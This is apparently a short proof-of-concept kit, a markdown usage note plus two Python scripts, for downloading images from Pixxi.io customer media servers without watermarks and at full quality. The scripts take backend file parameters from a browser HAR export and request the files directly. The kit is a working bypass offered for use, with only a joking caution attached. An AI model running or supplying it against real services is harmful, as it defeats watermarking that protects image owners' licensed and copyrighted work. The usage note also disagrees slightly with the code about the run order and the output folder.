Proof of concept: Pixxi.io Buster Script - Download Pictures w/o watermarks & in full quality

0_instructions.md

Breaking Pixxi.io's Watermarks: Proof of concept script

Alright, "breaking" punches a little bit above the weight class in this context: It turns out that Pixxi.io puts the watermark on the pictures as they are being fetched from their backend servers. Also, the quality is given by an additional url parameter. I have no clue why one should ever do this, as this increases server load and makes the whole concept of watermarking completly useless, but here we are.

Caution

Do not do stuff that you are not supposed to do :)

Usage:

• Get all the backend urls by opening the networking tab, then export the HAR Footprint of the network activity as a file ending in .har
• Run pixxibuster.py to extract the image urls to a new file
• Run extractor.py to get all images and save them in /output

Enjoy!

1_extractor.py

import os
import requests

base_url = "https://CUSTOMER.pixxio.media/gobackend/mediaserver?fp="

output_dir = "extracted"
os.makedirs(output_dir, exist_ok=True)

with open("output.txt", "r") as file:
    for line in file:
        if "/fileArchiv/" in line:
            file_slug = line.strip()
            full_url = base_url + file_slug
            
            filename = os.path.basename(file_slug)
            output_path = os.path.join(output_dir, filename)
            
            try:
                response = requests.get(full_url)
                response.raise_for_status()
                
                with open(output_path, "wb") as img_file:
                    img_file.write(response.content)
                print(f"Downloaded: {filename}")
                
            except requests.exceptions.RequestException as e:
                print(f"Error downloading {filename}: {e}")

2_pixxibuster.py

import json

with open('urls.har', 'r') as f:
   data = json.load(f)

urls = []
for entry in data['log']['entries']:
   if '/gobackend/mediaserver' in entry['request']['url']:
       params = {q['name']: q['value'] for q in entry['request']['queryString']}
       if 'fp' in params:
           urls.append(params['fp'])

with open('output.txt', 'w') as f:
   for url in urls:
       f.write(url + '\n')